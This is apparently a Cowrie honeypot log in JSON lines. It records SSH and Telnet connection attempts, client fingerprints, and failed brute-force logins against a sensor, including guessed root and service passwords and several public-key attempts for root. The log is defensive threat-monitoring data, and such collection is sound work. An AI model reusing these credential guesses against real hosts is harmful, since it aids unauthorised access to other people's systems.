{"eventid":"cowrie.session.connect","src_ip":"43.166.242.149","src_port":35072,"dst_ip":"159.203.135.109","dst_port":22,"session":"3126ca256eba","protocol":"ssh","message":"New connection: 43.166.242.149:35072 (159.203.135.109:22) [session: 3126ca256eba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:59:33.379562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:59:33.383320Z","src_ip":"43.166.242.149","session":"3126ca256eba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:59:33.392961Z","src_ip":"43.166.242.149","session":"3126ca256eba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.971925258636475,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:59:33.403452Z","src_ip":"172.81.62.90","session":"88fff20406f0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"devphp","password":"devphp","message":"login attempt [devphp/devphp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:59:33.471034Z","src_ip":"43.166.242.149","session":"3126ca256eba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:59:34.484215Z","src_ip":"43.166.242.149","session":"3126ca256eba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":46410,"dst_ip":"159.203.135.109","dst_port":23,"session":"892e8b16d5cb","protocol":"telnet","message":"New connection: 107.6.151.170:46410 (159.203.135.109:23) [session: 892e8b16d5cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:59:40.743056Z"}
{"eventid":"cowrie.session.closed","duration":0.0037496089935302734,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:59:40.746675Z","src_ip":"107.6.151.170","session":"892e8b16d5cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.227.227.84","src_port":40947,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac029c0edf73","protocol":"telnet","message":"New connection: 99.227.227.84:40947 (10.17.0.5:23) [session: ac029c0edf73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:59:41.008560Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":56148,"dst_ip":"10.17.0.5","dst_port":22,"session":"e83039d7289a","protocol":"ssh","message":"New connection: 103.153.68.219:56148 (10.17.0.5:22) [session: e83039d7289a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:59:59.580092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:59:59.583612Z","src_ip":"103.153.68.219","session":"e83039d7289a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:59:59.831459Z","src_ip":"103.153.68.219","session":"e83039d7289a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"whitepower","message":"login attempt [root/whitepower] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:00:00.572859Z","src_ip":"103.153.68.219","session":"e83039d7289a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:00:01.822376Z","src_ip":"103.153.68.219","session":"e83039d7289a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.37.220.188","src_port":41102,"dst_ip":"159.203.135.109","dst_port":23,"session":"5297d683e707","protocol":"telnet","message":"New connection: 102.37.220.188:41102 (159.203.135.109:23) [session: 5297d683e707]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:00:04.991335Z"}
{"eventid":"cowrie.session.closed","duration":34.72514057159424,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:00:39.716338Z","src_ip":"102.37.220.188","session":"5297d683e707","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":65.90267610549927,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:00:46.911124Z","src_ip":"99.227.227.84","session":"ac029c0edf73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.160.135","src_port":58000,"dst_ip":"10.17.0.5","dst_port":22,"session":"f22952a26aea","protocol":"ssh","message":"New connection: 64.89.160.135:58000 (10.17.0.5:22) [session: f22952a26aea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:00:55.107418Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:00:55.204892Z","src_ip":"64.89.160.135","session":"f22952a26aea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.239.96.154","src_port":55226,"dst_ip":"10.17.0.5","dst_port":22,"session":"23407ec6854f","protocol":"ssh","message":"New connection: 23.239.96.154:55226 (10.17.0.5:22) [session: 23407ec6854f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:01:11.935653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:01:11.940628Z","src_ip":"23.239.96.154","session":"23407ec6854f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:01:11.999671Z","src_ip":"23.239.96.154","session":"23407ec6854f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ef:f3:90:b7:ed:38:23:a8:e1:a7:db:77:96:4d:a7:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArvg6rsjvXMX/vd61mWmtEJwkVRmfwrTxJtmmdiycASV7F7gXx/QemTKdpczLTFpTJKW2mF0g4x4ZRhavh1qY9J/U7DzANagwSGPUXZSKp1jAtakn20BXdSggfEBvNHF/gfQt1qPfHyQTrG1y/LxwJMJ+REZOTHHkdMeJzPojqLQK2XH6Uzb5OiQ0lX2weIqfFWD5kc2IbZLkngHhOSmWyqmmHclf8gDd8qFf21e5IP8ovpV7mNoLuRRo4rMqDFx6i/1govJSIr4UIQuwsCGe80c3SyRtSxGlj6/790bQgFu7l9o0VE+WXUVxaCPuwbU0Lo7s12SdVVfDZe1aVXMXaw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ef:f3:90:b7:ed:38:23:a8:e1:a7:db:77:96:4d:a7:a2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:01:12.272514Z","src_ip":"23.239.96.154","session":"23407ec6854f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ef:f3:90:b7:ed:38:23:a8:e1:a7:db:77:96:4d:a7:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArvg6rsjvXMX/vd61mWmtEJwkVRmfwrTxJtmmdiycASV7F7gXx/QemTKdpczLTFpTJKW2mF0g4x4ZRhavh1qY9J/U7DzANagwSGPUXZSKp1jAtakn20BXdSggfEBvNHF/gfQt1qPfHyQTrG1y/LxwJMJ+REZOTHHkdMeJzPojqLQK2XH6Uzb5OiQ0lX2weIqfFWD5kc2IbZLkngHhOSmWyqmmHclf8gDd8qFf21e5IP8ovpV7mNoLuRRo4rMqDFx6i/1govJSIr4UIQuwsCGe80c3SyRtSxGlj6/790bQgFu7l9o0VE+WXUVxaCPuwbU0Lo7s12SdVVfDZe1aVXMXaw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:01:12.275773Z","src_ip":"23.239.96.154","session":"23407ec6854f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"10:73:0e:fc:e3:3e:dc:00:89:4f:3c:74:fe:15:b4:05","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCMdvjEmBLkVuIhAxvbWxmJ22qX47EuSSdTQ4RTxgfOEHtw2Psry2uoe2whCTVnx+jSAMol55KHukOIv/P+12IwY4IA6ySvT82iAt6VyHWjbsKrBjy9Gt76B3V3jHTuH46YnxsmYXvxXTZyrJTshmoj56USH7FN26BO2sgV1kzZT2MdMkfqILA49nK2WWPbzhH7tWc6or45O6sgjveydRKToGnIZiTkXUBy5S07qqD6wlhOvAeqEaUVtJN4yayu2EAtR2CfgMGxlAaiXX/gpnqP2qaH14ITVZEvr799qPZmXX7AHbrwVBqJg5TaqJvjLj0rKLajIqm+QNVpniVG9fQ5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 10:73:0e:fc:e3:3e:dc:00:89:4f:3c:74:fe:15:b4:05","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:01:12.338956Z","src_ip":"23.239.96.154","session":"23407ec6854f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"10:73:0e:fc:e3:3e:dc:00:89:4f:3c:74:fe:15:b4:05","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCMdvjEmBLkVuIhAxvbWxmJ22qX47EuSSdTQ4RTxgfOEHtw2Psry2uoe2whCTVnx+jSAMol55KHukOIv/P+12IwY4IA6ySvT82iAt6VyHWjbsKrBjy9Gt76B3V3jHTuH46YnxsmYXvxXTZyrJTshmoj56USH7FN26BO2sgV1kzZT2MdMkfqILA49nK2WWPbzhH7tWc6or45O6sgjveydRKToGnIZiTkXUBy5S07qqD6wlhOvAeqEaUVtJN4yayu2EAtR2CfgMGxlAaiXX/gpnqP2qaH14ITVZEvr799qPZmXX7AHbrwVBqJg5TaqJvjLj0rKLajIqm+QNVpniVG9fQ5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:01:12.341499Z","src_ip":"23.239.96.154","session":"23407ec6854f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"01:36:1b:0d:c8:cd:fc:8b:e3:35:5d:5a:62:b9:ce:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCYeHZsbgj87+Qjl9DsvYU/aIrEG7cNlIRnzmJY5vfJ1NlBlRtX4GpWiEalWPTjrSeKfvuSTz3zmHqFlOB4Z6yDevT6UWtfT+Wdg/yPwmGxpxehhzUQv+q3xCRtgzGXE5CNVUVCQrEbTEVn1O6wA970NCRWYC3NqU/Ijc3mMKaUJCE5RT8PO2tyWRCX6UBv/UxwGlmIwrCEmdSzLkkqX8P0uGVUbsJ/gBtPqD8bcth7K1TaOB8oouVQbslRQHjU+cI16O49ckD7QZNeI6ojc0W85wxPHmP71SyyO5pS29nvi+XjqGohGCwE1XMfi+LGxNnYBrMX6Es954Ib5+4F4f9eSAjAWsWQ0iwmLDcgTD5s1V/U92dYJorvwJbYk8yGkWV9kkRJ+Dl/McA8FR/jCz2sx68wsuIElRN9VHw4NAViIMhHN9n+Yg3LiQ/vPE0jRuvLqt+MqPRQDAdvpGkuEEXXJ5jX0DER8+GnXjdT+MxS8u1kMbBKAmwfnZEFSRiKBvU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 01:36:1b:0d:c8:cd:fc:8b:e3:35:5d:5a:62:b9:ce:cc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:01:12.399621Z","src_ip":"23.239.96.154","session":"23407ec6854f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"01:36:1b:0d:c8:cd:fc:8b:e3:35:5d:5a:62:b9:ce:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCYeHZsbgj87+Qjl9DsvYU/aIrEG7cNlIRnzmJY5vfJ1NlBlRtX4GpWiEalWPTjrSeKfvuSTz3zmHqFlOB4Z6yDevT6UWtfT+Wdg/yPwmGxpxehhzUQv+q3xCRtgzGXE5CNVUVCQrEbTEVn1O6wA970NCRWYC3NqU/Ijc3mMKaUJCE5RT8PO2tyWRCX6UBv/UxwGlmIwrCEmdSzLkkqX8P0uGVUbsJ/gBtPqD8bcth7K1TaOB8oouVQbslRQHjU+cI16O49ckD7QZNeI6ojc0W85wxPHmP71SyyO5pS29nvi+XjqGohGCwE1XMfi+LGxNnYBrMX6Es954Ib5+4F4f9eSAjAWsWQ0iwmLDcgTD5s1V/U92dYJorvwJbYk8yGkWV9kkRJ+Dl/McA8FR/jCz2sx68wsuIElRN9VHw4NAViIMhHN9n+Yg3LiQ/vPE0jRuvLqt+MqPRQDAdvpGkuEEXXJ5jX0DER8+GnXjdT+MxS8u1kMbBKAmwfnZEFSRiKBvU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:01:12.402739Z","src_ip":"23.239.96.154","session":"23407ec6854f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f2:c8:56:12:0d:c4:cc:2f:e6:b1:25:a1:f4:e6:9d:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxlNlE9gp3GsPfOx2TS6kpQ3TMkTe9O6fJHZu+EDgnyfHXHF64weBLwXYhwoNEae5vj/OQfCBh/N5Qg4RtjtmVlj4ZutaSjDwS4GpQUGJGs6/6Af0kUt4wnjvuehQhS5oOvzI6reTTm6+VShtuv9R3EPOWqaNSlDamIdov48zTWG2AMDi3fs89C6CWvVc0ytbBgqsnZirj7a1tpDsfZW/MFROcWYrEcEO13p80EHVxPh+hX2e2P/cfRjGYKKLlqJdXMQfiGslbGTJKngK5cuew0KdURZJQArZzeb++cVk8lhtOlIhUMNGVl0ZB2LnTmRli0dcMiB17vzuiHDqzqtGRQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f2:c8:56:12:0d:c4:cc:2f:e6:b1:25:a1:f4:e6:9d:46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:01:12.462017Z","src_ip":"23.239.96.154","session":"23407ec6854f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f2:c8:56:12:0d:c4:cc:2f:e6:b1:25:a1:f4:e6:9d:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxlNlE9gp3GsPfOx2TS6kpQ3TMkTe9O6fJHZu+EDgnyfHXHF64weBLwXYhwoNEae5vj/OQfCBh/N5Qg4RtjtmVlj4ZutaSjDwS4GpQUGJGs6/6Af0kUt4wnjvuehQhS5oOvzI6reTTm6+VShtuv9R3EPOWqaNSlDamIdov48zTWG2AMDi3fs89C6CWvVc0ytbBgqsnZirj7a1tpDsfZW/MFROcWYrEcEO13p80EHVxPh+hX2e2P/cfRjGYKKLlqJdXMQfiGslbGTJKngK5cuew0KdURZJQArZzeb++cVk8lhtOlIhUMNGVl0ZB2LnTmRli0dcMiB17vzuiHDqzqtGRQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:01:12.466325Z","src_ip":"23.239.96.154","session":"23407ec6854f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"df:07:d7:15:45:00:c1:a1:fa:30:93:1b:c7:af:7d:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5YLMKTuRVsCFyr0k/IY62TIett9Jd2NwYzmP5uoZrsOkFQgzE5Jkt5SBZsM5TmN5yZmDZ0T6ySZJd7a0edKbJKF0ClwxTJf45/uX9z5yWDr/NnLPJwCxDxWFxlIDBGffSzgj4VULv+oTv3d1xZC1I4k5Ci+FLMaqX80Xz58kXCNVKEa8lLKQJk6E8YpCaVR+1Y4dJCqRLwIxA0AP+YX3TtyCWvFZGLJSBlO/7nXyPggkLH9F93D97dnaBKpCjuRSXPf2C6eUQaQIsER4eJzLFo+QT2ZA89UzCDtCbgeghaiFl2Z/YdTbf87eMYkiqIHisEABcxzVZXwAWi1uDDH5Z","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint df:07:d7:15:45:00:c1:a1:fa:30:93:1b:c7:af:7d:f8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:01:12.529166Z","src_ip":"23.239.96.154","session":"23407ec6854f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"df:07:d7:15:45:00:c1:a1:fa:30:93:1b:c7:af:7d:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5YLMKTuRVsCFyr0k/IY62TIett9Jd2NwYzmP5uoZrsOkFQgzE5Jkt5SBZsM5TmN5yZmDZ0T6ySZJd7a0edKbJKF0ClwxTJf45/uX9z5yWDr/NnLPJwCxDxWFxlIDBGffSzgj4VULv+oTv3d1xZC1I4k5Ci+FLMaqX80Xz58kXCNVKEa8lLKQJk6E8YpCaVR+1Y4dJCqRLwIxA0AP+YX3TtyCWvFZGLJSBlO/7nXyPggkLH9F93D97dnaBKpCjuRSXPf2C6eUQaQIsER4eJzLFo+QT2ZA89UzCDtCbgeghaiFl2Z/YdTbf87eMYkiqIHisEABcxzVZXwAWi1uDDH5Z","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:01:12.532549Z","src_ip":"23.239.96.154","session":"23407ec6854f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:01:12.591918Z","src_ip":"23.239.96.154","session":"23407ec6854f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":41540,"dst_ip":"159.203.135.109","dst_port":23,"session":"7395b307e540","protocol":"telnet","message":"New connection: 107.6.151.170:41540 (159.203.135.109:23) [session: 7395b307e540]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:01:46.343467Z"}
{"eventid":"cowrie.session.connect","src_ip":"3.129.187.38","src_port":33016,"dst_ip":"159.203.135.109","dst_port":23,"session":"e289f46d2b2b","protocol":"telnet","message":"New connection: 3.129.187.38:33016 (159.203.135.109:23) [session: e289f46d2b2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:01:55.793490Z"}
{"eventid":"cowrie.session.closed","duration":9.980087280273438,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:02:05.773424Z","src_ip":"3.129.187.38","session":"e289f46d2b2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":55346,"dst_ip":"159.203.135.109","dst_port":23,"session":"0105a1843f49","protocol":"telnet","message":"New connection: 172.81.62.90:55346 (159.203.135.109:23) [session: 0105a1843f49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:02:19.549144Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.76.139.59","src_port":38426,"dst_ip":"159.203.135.109","dst_port":23,"session":"cacb689b822c","protocol":"telnet","message":"New connection: 180.76.139.59:38426 (159.203.135.109:23) [session: cacb689b822c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:02:34.704264Z"}
{"eventid":"cowrie.session.closed","duration":52.5693633556366,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:02:38.912686Z","src_ip":"107.6.151.170","session":"7395b307e540","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":57156,"dst_ip":"159.203.135.109","dst_port":23,"session":"5773550118e0","protocol":"telnet","message":"New connection: 128.199.8.54:57156 (159.203.135.109:23) [session: 5773550118e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:02:43.533604Z"}
{"eventid":"cowrie.session.closed","duration":39.07293939590454,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:02:58.621959Z","src_ip":"172.81.62.90","session":"0105a1843f49","protocol":"telnet"}
